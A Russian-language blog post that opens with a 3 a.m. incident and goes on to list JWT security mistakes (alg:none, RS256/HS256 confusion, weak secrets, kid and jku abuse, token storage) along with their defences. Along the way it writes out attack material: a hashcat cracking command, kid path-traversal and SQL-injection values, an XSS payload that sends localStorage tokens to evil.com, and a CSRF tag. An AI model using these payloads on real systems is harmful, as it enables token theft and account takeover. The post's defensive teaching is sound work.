Оповещение в 3 ночи, которое изменило мой взгляд на JWT
2:47 ночи, среда. Телефон вибрирует без остановки. Одна строка в канале ops: “Admin API вызван без авторизации на стейдже.”
Открываю ноутбук полусонный. Логи показывают: только что зарегистрированный обычный пользователь взял свой JWT, поменял в payload role с user на admin и вызвал endpoint удаления. Сервер ответил 200 OK.
Внутри всё похолодело. Мы же используем JWT. Разве это не “безопасно”? Как смена одного поля обошла всё?
Постмортем отрезвил: виноват не JWT. Мы относились к нему как к серебряной пуле. После этого я проаудировал каждое использование JWT в кодовой базе и мне стало плохо: alg:none не заблокирован, секрет 123456, токены в localStorage, срок жизни 30 дней… все анти-паттерны из учебника.
Этот пост — тот разбор, который я хотел бы иметь тогда. JWT — элегантный дизайн, но элегантный значит низкая толерантность к неправильному использованию. Один неверный шаг — и вы отдаёте ключи.
Сначала базы: что такое JWT и чем он не является
Самый опасный миф: “JWT зашифрован.” Нет. JWT — это JSON Web Token. Он отвечает на вопрос “выдал ли я это и было ли оно изменено?” а не “как скрыть данные?”
Обычный JWT состоит из трёх частей, разделённых точками:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
- Header:
{"alg":"HS256","typ":"JWT"}— “Я подписан HS256.” - Payload:
{"uid":123,"role":"user"}— бизнес-данные, просто закодированы в Base64Url. Любой может декодировать. - Signature: HMAC или RSA по первым двум частям с ключом/алгоритмом из header.
Думайте о JWT как об открытке с восковой печатью. Любой может прочитать, что вы написали, но если печать не совпадает — значит, было вмешательство. Никогда не пишите PIN на открытке.
Поэтому перестаньте класть password, phone или SSN в payload. Худшее, что я видел — SELECT * из таблицы users, засунутый в токен — 8 КБ на запрос, гейтвей лёг.
Категория 1: Путаница алгоритмов — элегантно и смертельно
Это самый известный класс багов JWT, публичный с 2015 года, но многие библиотеки до сих пор “доверяют alg от клиента”.
1. Сменили alg на none — и сервер сказал “конечно!”
none — валидный алгоритм JWS, означающий “без подписи”. Существует для незащищённых случаев. Плохая проверка выглядит так:
// ТАК ДЕЛАТЬ НЕЛЬЗЯ
const [h] = token.split('.');
const header = JSON.parse(base64UrlDecode(h));
if (header.alg === 'none') return true; // без проверки!
return verify(token, secret);
Эксплойт тривиален: поменяйте header на {"alg":"none"}, payload на {"role":"admin"}, уберите подпись. Сервер впускает.
Когда я впервые воспроизвёл это на стейдже, руки дрожали. Одна смена строки = админ.
Защита: Применяйте allowlist. Сервер хардкодит algorithms: ['HS256'] или ['RS256']. Отклоняйте none. Современный jsonwebtoken отключает none по умолчанию, но самописные верификаторы всё ещё проваливаются.
2. Переключение RS256 → HS256: используем публичный ключ как HMAC-секрет
На этом погорели крупные компании.
RS256 — асимметричный: приватный ключ подписывает, публичный проверяет. HS256 — симметричный: один секрет и подписывает, и проверяет.
Баг: некоторые библиотеки выбирают метод проверки по header.alg. Злоумышленник берёт RS256-токен, меняет header на HS256, и сервер думает: “О, HS256? Тогда проверю HMAC-ом с ‘секретом’.” А этот “секрет” — публичный ключ RS256 — который публичен.
# Шаги злоумышленника
1. Получить публичный ключ RS256 из /.well-known/jwks.json
2. Собрать header {"alg":"HS256","typ":"JWT"}
3. Собрать payload {"uid":1,"role":"admin"}
4. Подписать HS256, используя строку публичного ключа как секрет
5. Сервер проверяет HMAC тем же публичным ключом → проходит
Тим Маклин раскрыл это в 2015; многие Python/Ruby библиотеки пострадали. Тонко, разрушительно.
Защита: Два правила: ① Алгоритм проверки задаётся сервером, никогда из токена. ② Держите публичные ключи RS256 и секреты HS256 раздельно. Всегда передавайте algorithms: ['RS256'] явно.
3. Никогда не доверяйте заголовкам, контролируемым клиентом
header.alg контролируется атакующим. Относитесь к нему как к isAdmin=true от клиента — никогда не доверяйте.
Категория 2: Ключи — тонкие как бумага, если сделаны плохо
1. Слабые секреты: 123456 — не секрет
Я брутфорсил секреты JWT с hashcat за секунды: secret, password, 123456, jwt_secret. Аббревиатура компании + год вроде acme2023 едва ли лучше. Подписи JWT детерминированы, поэтому атакующий может брутфорсить офлайн, не трогая ваш сервер.
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
Защита: Минимум 32 случайных байта: openssl rand -hex 32. Немедленно ротируйте, если вы выкатили слабый секрет, и инвалидируйте старые токены.
2. Утечка ключей: фронтенд, GitHub, логи
Три утечки из аудитов:
- Фронтенд-бандл:
JWT_SECRETупакован вapp.js. Ищется в devtools. - GitHub:
.envзакоммичен сmy_super_secret_123. - Логи: Полные токены залогированы в ELK, видны всем. Утечка токена = эквивалент утечки ключа.
Некоторые фреймворки даже сливают секрет в сообщениях об ошибках при провале проверки.
Защита: Ключи живут только в env-переменных или KMS. Фронтенд хранит токены, никогда секреты. Маскируйте токены в логах.
3. kid — забытый бэкдор
Поле заголовка kid (Key ID) говорит серверу, какой ключ использовать:
const kid = header.kid;
const key = getKey(kid); // часто конкатенация строк
verify(token, key);
Если getKey наивен:
- Path traversal:
kid="../../dev/null"→ сервер использует пустой файл как ключ. - SQLi:
kid="1' OR '1'='1"если kid конкатенируется в SQL. - Проба чтения файла:
/keys/${kid}.pemсkid="../../../../etc/passwd".
Я однажды перечислил валидные kids по разнице времени отклика “key not found”.
Защита: Строгий allowlist для kid (алфавит+цифры+дефис). Используйте map, никогда интерполяцию пути/SQL.
4. jku и x5u — позволяем атакующему выбрать ваш ключ
jku (JWK Set URL) и x5u (X509 URL) говорят “забери мой публичный ключ по этому URL”. Если сервер им доверяет, атакующий указывает jku на свой сервер и сервер послушно идёт за ключом атакующего, чтобы проверить токен атакующего.
Защита: Отключите jku/x5u/x5c в проде. Если нужно — allowlist доменов + принудительный HTTPS.
Категория 3: Срок действия, отзыв, повтор — цена stateless
Главное преимущество JWT — stateless — это и проклятие. Сессии легко отозвать: удалите сессию. JWT, будучи выпущенным, — это безотзывный чек до истечения срока. Смена пароля, бан аккаунта, кража токена — атакующий пользуется им до истечения срока.
Я видел exp на 30 дней или никогда. “Для лучшего UX, без логина.” Потом потерянный телефон = окно в 30 дней.
Правильный паттерн — короткий + отзываемый:
- Короткий access-токен: 5–15 мин, минимальные claims.
- Вращающийся refresh-токен: Более долгоживущий, хранится httpOnly + БД. Инвалидируйте старый refresh при использовании. Детекция повторного использования: один и тот же refresh использован дважды → отзовите все токены пользователя.
- Блоклист/allowlist: При логауте/смене пароля/бане положите
jtiв Redis с TTL = оставшийся срок. Проверяйте блоклист при верификации. Да, становится stateful — необходимый компромисс. - Валидируйте aud, iss, nbf: Многие верификаторы пропускают
aud/iss. Результат: токен сервиса A работает на сервисе B.
jwt.verify(token, publicKey, {
algorithms: ['RS256'],
issuer: 'auth.mycompany.com',
audience: 'api.mycompany.com',
clockTolerance: 5
});
Категория 4: Где вы храните JWT — решает, как вы умрёте
| Где | Плюсы | Минусы | Как утекает |
|---|---|---|---|
| localStorage / sessionStorage | Легко для фронтенда | Любой JS может читать | Один XSS крадёт всё |
| Переменная в памяти | Исчезает при закрытии вкладки | Теряется при обновлении | Безопаснее, но UX хуже |
| Cookie httpOnly + Secure + SameSite | JS не читает, стойкий к XSS | Риск CSRF | Нужен CSRF-токен |
Самая частая ошибка: положить токен в localStorage для удобства, потом поле комментариев без фильтра XSS инжектируется <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))> — токены всех посетителей собраны.
Куки тоже не магия: авто-отправляются, позволяют CSRF — <img src="https://api.mycompany.com/transfer?to=attacker"> вызывает аутентифицированный запрос, если пользователь залогинен.
Стабильный прод-паттерн сегодня: access-токен в памяти, refresh-токен в cookie httpOnly + Secure + SameSite=Strict, плюс SameSite и анти-CSRF-токен. Обновление при перезагрузке. И HTTPS везде, иначе токены — открытый текст.
Категория 5: Забытые claims
Валидная подпись ≠ валидный бизнес. Многие кодовые базы делают req.user = decoded после проверки и пропускают:
- exp не проверен — некоторые библиотеки не проверяют срок действия по умолчанию.
- nbf не проверен — “not before” игнорируется, токен использован раньше времени.
- Привилегии в payload, которым доверяют: кладут
role/isVipв JWT и доверяют. Лучше: JWT несёт толькоuid, привилегии берите из БД/кэша. - Replay: Нет дедупликации
jti, украденный токен переигрывается. Для чувствительных действий требуйте одноразовыйjtiили связывайтеjti + ip + ua.
Прод-чеклист — что я теперь требую
- Allowlist алгоритма: Хардкод
algorithms: ['RS256']. Никогда не читайте alg из header. Отключите none, jku, x5u. - Сильные, ротируемые ключи: ≥32 случайных байта для HS256, ≥2048-бит для RS256. Храните в KMS/env, поддерживайте ротацию по kid, держите старый ключ 7 дней.
- Короткий срок + ротация: access 10 мин, refresh 7 дней с ротацией + блоклист при логауте/смене пароля/бане.
- Минимальный payload: Только
uid,jti,exp,iat. Никакой PII. Для чувствительных данных — JWE. - Строгая валидация: Проверяйте iss, aud, exp, nbf, jti. Никогда не доверяйте JWT для авторизации; спрашивайте сервер.
- Хранение: Refresh в httpOnly-cookie, access в памяти. Маскируйте логи, требуйте HTTPS, CSP против XSS.
- Наблюдаемость: Трассируйте выпуск/обновление/отзыв jti, алертите при повторном использовании.
Одной строкой: относитесь к JWT как к одноразовому пропуску, а не как к постоянному удостоверению.
Заключение: сломан не JWT — слепое доверие сломано
Дизайн JWT сдержан: три части, Base64Url, опциональные алгоритмы, стандартные claims. Почти каждая “небезопасность” — это лень реализации: доверие к alg ради экономии усилий, слабые секреты ради удобства, месячный срок ради UX, запихивание прав в payload ради скорости.
Как кухонный нож: сам по себе не опасен, но размахивая им вслепую — порежетесь.
Если вы сегодня используете JWT, прогрепьте кодовую базу сегодня же ночью: есть ли где-то verify(token, secret) без algorithms? Лежит ли секрет в открытом виде в config.js? Истекает ли токен днями? Исправьте хоть одно — и вы предотвратили одно оповещение в 3 ночи.
Не ждите взлома, чтобы вспомнить этот пост.
